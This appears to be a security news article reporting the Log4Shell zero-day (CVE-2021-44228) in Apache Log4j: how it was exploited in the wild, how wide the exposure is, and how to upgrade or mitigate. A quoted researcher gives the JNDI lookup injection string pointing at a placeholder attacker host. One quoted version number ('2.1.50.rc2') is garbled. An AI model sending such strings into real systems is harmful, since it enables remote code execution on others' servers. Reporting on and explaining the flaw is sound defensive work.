Critical RCE 0day in Apache Log4j library exploited in the wild (CVE-2021-44228)
A critical zero-day vulnerability in Apache Log4j (CVE-2021-44228), a widely used Java logging library, is being leveraged by attackers in the wild – for now, fortunately, primarily to deliver coin miners.
Reported to the Apache Software Foundation by Chen Zhaojun of Alibaba Cloud Security Team, the bug has now apparently been fixed in Log4j v2.15.0, just as a PoC has popped up on GitHub and there are reports that attackers are already attempting to compromise vulnerable applications/servers.
About the vulnerability (CVE-2021-44228)
Dubbed Log4Shell, CVE-2021-44228 has received the maximum possible CVSS score (10.0).
The Apache Software Foundation says that in Apache Log4j2 versions 2.14.1 and earlier “JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.”
They also pointed out that from Log4j v2.15.0, this behavior has been disabled by default.
According to John Hammond, a senior security researcher with Huntress, the attack vector is extremely trivial for threat actors.
“A single string of text can trigger an application to reach out to an external location if it is logged via the vulnerable instance of log4j. A threat actor might supply special text in an HTTP User-Agent header or a simple POST form request, with the usual form: ${jndi:ldap://maliciousexternalhost.com/resource, where maliciousexternalhost.com is an instance controlled by the adversary,” he explained.
“The log4j vulnerability parses this and reaches out to the malicious host via the ‘Java Naming and Directory Interface’ (JNDI). The first-stage resource acts as a springboard to another attacker-controlled endpoint, which serves Java code to be executed on the original victim. Ultimately, this grants the adversary the opportunity to run any code they would like on the target: remote code execution,”
How wide is the attack surface?
Unfortunately, the library is frequently used in enterprise Java software.
“Given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe,” noted LunaSec CEO Free Wortley and developer Chris Thompson.
“Many, many services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable. Anybody using Apache Struts is likely vulnerable. We’ve seen similar vulnerabilities exploited before in breaches like the 2017 Equifax data breach.”
But it doesn’t stop there: apparently there are printers and CCTV systems shipping with default vulnerable configurations. A GitHub project is trying to map out the possible attack surface by listing potentially affected manufacturers and components (including other Apache frameworks such as Apache Solr).
It’s going to be a long weekend for security teams around the world as they are trying to pinpoint which applications used by their organization use the vulnerable library (and whether it can be exploited), so we can expect a more precise list getting compiled by the wider security community over the next few days.
Update and/or mitigate
According to the ASF, upgrading to Log4j v2.15.0 solves the issue and those can’t upgrade can implement several mitigations. But, apparently, that fix has been bypassed, and log4j-2.15.0-rc2 is what you want now.
“If your organization uses Apache log4j, you should upgrade to log4j-2.1.50.rc2 immediately. Be sure that your Java instance is up-to-date; however, it’s worth noting that this isn’t an across-the-board solution. You may need to wait until your vendors push security updates out for their affected products,” Hammond added.
“The log4j package may be bundled in with software you use provided by any given vendor. In this scenario, unfortunately, the vendors themselves will need to push the security updates downstream. As you assess your own risk and threat model, please consider the components of the software you use and especially what may be publicly accessible.”
Make no mistake, this is the largest Java vulnerability we have seen in years. It’s absolutely brutal,” Arshan Dabirsiaghi, co-founder and chief scientist, Contrast Security, told Help Net Security.
“There are three main questions that teams should answer: Where does this impact me? How can I mitigate the impact right now to prevent exploitation? How can I locate this and similar issues to prevent future exploitation?”
UPDATE (December 13, 2021, 04:52 a.m. PT): Check out the development of the situation over the weekend.